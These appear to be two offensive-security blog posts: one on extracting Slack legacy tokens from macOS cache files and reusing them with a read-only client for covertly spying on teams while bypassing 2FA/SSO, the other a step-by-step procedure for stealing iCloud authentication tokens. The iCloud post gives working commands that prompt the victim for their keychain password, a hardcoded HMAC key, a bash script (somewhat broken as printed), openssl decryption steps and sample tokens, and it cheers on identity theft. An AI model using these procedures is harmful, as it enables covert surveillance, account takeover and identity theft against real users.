Acquiring and Abusing Slack Legacy Tokens on macOS

Written by noncetonic


Right on the tails of my last post that detailed a token theft attack on macOS, today I’m sharing yet another procedure for acquiring and abusing tokens found on a macOS system.

Included with this post are two github projects, one which helps extract the tokens from Slack, and another which leverage the tokens for incognito logging and monitoring of a Slack team.

Legacy Tokens

So what exactly are “Legacy tokens” ?

These tokens were associated with legacy custom integrations and early Slack integrations requiring an ambiguous “API token.” They were generated using the legacy token generator and are no longer recommended for use. They take on the full operational scope of the user that created them. If you’re building a tool for your own team, we encourage creating an internal integration with only the scopes it needs to work. From:

Slack’s documentation on these tokens is unfortunately useless, save the mention that they are scoped to the individual user rather than the team as a whole (similar to what we would see with bot users).

What I’ve managed to piece together is that Legacy Tokens work for a large portion of Slack’s current API endpoints but has some hiccups with more modern endpoints such as some of the calls to the Conversations API. The RTM (Real Time Messaging) API in particular appears to be the perfect usecase for Legacy Tokens.

One thing that became quickly obvious was that the Slack desktop client which heaviliy leverages a websocket connection for communication with the Slack servers mimicks a real-world implementation of the RTM API and during the initial login by a user to a team is making use of OAUTH to generate a valid token for the user which will allow the desktop client to provide the user with all of its functionality.

It is during this authentication flow that I believe the Slack desktop client is granted a Legacy Token due to it being Slack’s official client; despite the fact that these tokens are not generated for developers and Slack encourages anyone with a Legacy Token to upgrade to more modern tokens. Best of all, it appears that reusing a Legacy Token allows bypassing 2FA/SSO.

Perfect :)

Legacy tokens can be identified by starting with the characters xoxs-. This is in contrast to User tokens (xoxp-), Bot tokens (xoxb-), and Workspace tokens (xoxa-2 and xoxr-).

Acquiring Legacy Tokens

Slack stores a copy of currently used Legacy Tokens for a user across all the teams the user is actively authenticated to. These tokens can be found in the LevelDB cache stored on disk and located on macOS at $HOME/Library/Application\ Support/Slack/Local\ Storage/leveldb/.

The LevelDB files appear to use an 8-bit ASCII variant (ASCII is generally a 7-bit character encoding) ISO-8859-1 which can cause issues when attempting to read the files using a terminal.

To help mitigate the encoding issue and automate the process of dumping tokens I wrote a script in Ruby called toke_em.

toke_em using the standard version of ruby installed on macOS with no third party gems so it is ready to run on a system of your choice with no additional dependencies.

Abusing Legacy Tokens

Originally I had decided to leave implementation of tokens acquired with toke_em into useful tooling as an exercise to users of toke_em. A few nights ago I realized I should probably write a tool of my own to leverage Legacy Tokens and set off on writing my own terminal-based Slack client with the purpose of covertly monitoring conversations. I also opted to skip implementing any features that could potentially send input that would result in alerting the user in any way.

After I got things working and showed some friends I decided I’d share my client with the internet.


Read-only Slack RTM API client for spying on teams.

Respite is a terminal based, read-only client for Slack’s RTM API which authenticates using auth tokens to bypass 2FA and SSO.

Respite is still under active development and new features will continue to be added near future and serves as a PoC demo for showcasing the full extent of the usefulness of Legacy Tokens extracted with toke_em. Respite can be downloaded from the Blacksun Labs github


That’s all for now. Make sure to star and watch respite on Github to get updates on new features.

Until next time, n0ncetonic

iCloud Authentication Token acquisition on macOS

Written by noncetonic


While this is by no means new or groundbreaking information I’ve been meaning to document a process known to the forensic and law enforcement community and provided as part of point-and-click toolkits available to the general public from companies such as Elcomsoft.

The aim of this post is to educate readers on the process by which Apple protects iCloud tokens and provide a procedure for manual acquisition of these tokens on modern versions of macOS.

Another motivator for posting this article is to make up for the fact that back in mid 2017 I had started writing an article on dumping this tokens without interacting with the Keychain or requiring the user’s password. The bug that allowed this has since been patched but is effective on early versions of 10.13 and prior.

I’ve provided a ready-to-go script addressing this specific vulnerability which can found on Github Gists.

Extraction on macOS

Extraction of iCloud Auth Tokens on macOS is a multi-step process and requires the iCloud Key stored in the targetted user’s keychain.

1.) Obtain the user’s iCloud Key 2.) Generating the decryption key 3.) Decrypting the mmeTokenKey file

Let’s get to it.

Note: If you’re looking for a quick and easy automated tool to accomplishes this same procedure, I’ve linked to the (at time of writing) most updated and feature rich fork of MMeTokenDecrypt by security-geeks as manwhoami appears to have deleted their github account and consequentially the original codebase.

Obtaining iCloud Key from keychain

As the iCloud Key is stored encrypted within a user’s keychain, extraction requires knowing the keychain password (almost always the same as a user’s login password), or alternatively, utilizing the SecurityFramework to prompt the user for access to the keychain via the security command.

We will opt for the latter in this article to illustrate a technique which can be applied a large array of use cases.

Obtaining iCloud Key using SecurityFramework

The following command will prompt the user to enter their password and returns the base64 encoded iCloud Key via STDOUT. Replace UID with the uid of the intended user.

Note: Getting the uid a user is easiest via the id -u [user] command. If no user is specified, the current user’s uid is returned.

launchctl asuser UID security find-generic-password -ws 'iCloud'

Note The user will be prompted for their password twice. This is the standard behavior of macOS and most users will not notice the different permissions being requested. The first prompt grants permission to access the key named iCloud within a user’s keychain while the second prompt grants permission to read the value of the iCloud key which has authorized access in the first prompt.

iCloudKey_keychainPrompt iCloudKey_keyPrompt

With the iCloud Key successfully obtained it is possible to generate the key used to decrypt the mmeTokenFile containing mmeAuthToken and other iCloud tokens.

Generating the decryption key

iCloud Auth Tokens are encrypted using an HMAC-MD5 composed of an undocumented 44 character string used as the HMAC key and the base64 decoded iCloud Key as the HMAC message. The psuedo-code for generating the decryption key and a working implementation in BASH leveraging only tools available on a default macOS installation follow. Yay for living off the land.

Note For the curious, /System/Library/PrivateFrameworks/AOSKit.framework/Versions/A/AOSKit contains the subroutine #KeychainAccountStorage _generateKeyFromData: which uses the HMAC Key provided above when generating the decryption key. HMAC Key: t9s"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}

// This psuedocode demonstrates the process of generating the iCloud Auth Token decryption key
hex(, message, digest(md5)))


#!/bin/bash -e
# Given a value for message, generates an HMAC-MD5 for mmeToken decryption
# HMAC key is hardcoded. Outputs the result in base64 and hex encoding
# n0ncetonic Copyright 2019 Blacksun Research Labs 
gen_hmac-md5() {

  hmac_md5=$(echo -n "$message" |base64 --decode| openssl dgst -md5 -hex -hmac "$key")
  echo "base64: $(base64 <<< ${hmac_md5})"
  echo "   hex: $(echo -n ${hmac_md5}"

gen_hmac-md5 $1

Note The hex encoded decryption key is generally preferred for interoperability with other tools.

Decrypting mmeAuthKey

Now that a valid decryption key has been generated the iCloud Auth Tokens can be obtained from the encrypted binary plist file stored in the /Users/<USERNAME>/Library/Application Support/iCloud/Accounts/ directory. Files in this directory will either be symlinks with alphanumeric file names or standard files with filenames comprised of 9 digits. In the case of symlinks the email address tied to an iCloud DSID is disclosed as the filename, while the standard files disclose the DSID as the filename.

Note The DSID is used in place of a username when authenticating using iCloud tokens. Making note of the DSID is recommended in case it is needed later.

Decrypting this file is done with the openssl command and results in xml structured Property List output containing the iCloud Auth Tokens. Ensure you replace DSID in this command with the user’s actual DSID.

openssl enc -d -aes-128-cbc -iv 0000000000000000 -K Hex_Encoded_Decryption_Key < "/Users/USERNAME/Library/Application Support/iCloud/Accounts/DSID" | plutil -extract 'tokens' xml1 -o - -

Note For output which lends itself better to scripting, copy-pasting, and readability, the decrypt command above can be changed to the command below.

openssl enc -d -aes-128-cbc -iv 0000000000000000 -K a8f930a309a9188ca03877444ccaac6c < "/Users/user/Library/Application Support/iCloud/Accounts/8305714318 | plutil -extract 'tokens' xml1 -o - - |plutil -p -

Resulting in output similar to below

	"cloudKitToken" => "iOIQ4Yq3J9l2AICrGYJt5pwl+k/sQJ2+FolAJNZ9ci++clFWhc1wx4/OrxK8u2Bexob0ZUC8K83guTCpNZonFpl9qSFRfaXyQ/2ga1hlfMMtYoj5MSElq2O4L9D02JCBmbmnXns3AIJusWW8AdxLNoVPZUaZdxd1CngEW3AS/2YltFHvhbhIyUkknMtHLUj5uoNJw6vfFumI10~~"
	"mapsToken" => "KW5Izw7FnUm/tbA81aTi4OLaZOzI0EQPmrajqC3W8ayFyyFTlWMCiEBWd8SnxeXJfx2HtOm2yNdmR01UFRAub2SnzPwmz7i4fiWI4h5VFd1ewVZR33QGBJBTXJqilvcC5Lz9huS1Kqqv8DxZeyWTm4hAVzQ0sqyuQG/yFLwjZydOIBICEAXUqdGSEnCdcyvFjlSd0ZDmZTFc10~~"
	"mmeAuthToken" => "Cw7Dzec+TpidWj26lmHGnCnIOQJeK3GR63+XCNT9E8CNrdJkooOgw6wtwRhJwcWRgynVnuFUGr2dYfycgnFxj5FGVAjh/8Y8yhUSn6VlDZcC7Kj+UTfnKsX5aW5GUki2iOttBNalYtiZLuVSub1MnghMpHY+Xtl6fEXSFi5A8culgXPsVbQdF4SGCPTzP9PQj+1qgk4iezr710=="
	"mmeBTMMInfiniteToken" => "SDgbvkIEolIutlD4rwlnuAkzmaZbOCc7f4hVYXWRzCqOsvQSQ6D5Vorc+p7UE7t08+tK7T3FVzSTiofE5oidM0jJCW7NaFPgKEFOVjK4aK/2ctcEQ/y1nv0eQcee/XJeI/mK/YBgmTsbIZ74+OUL9mr4t/IrQJffEBTR0FPFhoMhxwcP/kMCtEfD8egN4SUTkT6K8flQGqnT10~~"
	"mmeFMFAppToken" => "k+qpMM9hOUnUoIeamVsq+RYyBWxL0OSKFECvsGBu+I3loe3Wvl6dl8UeLeMQc6NJgrGjrYvwd1RsdpDiRFYNNm2mAI15GMTII6HJlzk9N6Ufla6rFDAQ8Yj861SPH7d1JcMiTXMZ/vKNpJqSOp26FRAwudozBTICYfb3RkLOicKydXaY5PTX6iCRPi17OqKsMbY3FhbZJTYJ10~~"
	"mmeFMIPToken" => "Ha0+FmWTnkjckMixOlKhvwNohQ1H9+QkVBovAVyVpGXGWiypbcIMByozSTtSWzb2CFEfWY3X4JkWAE35PLrG8yFEX1qYAMLTeoxeumVblCK30tBCgXv2RmB+CbrTSCKWyF7IR48eJ69c0gWWvMnhsDXLNvEUFiW0t6g6ktcQW8n/mS+ObqRw2SCYqS+1ZjMJKkmTJvd7iPF310~~"


There you go; you’ve got a handful of tokens ready to be used with iCloud APIs like “FindMyFriends”, “FindMyiPhone”, “iPhotos” and more.

iCloud identity theft at the tips of your fingers means flattery has never been easier.

“Imitation is the sincerest form of flattery” Charles Caleb Colton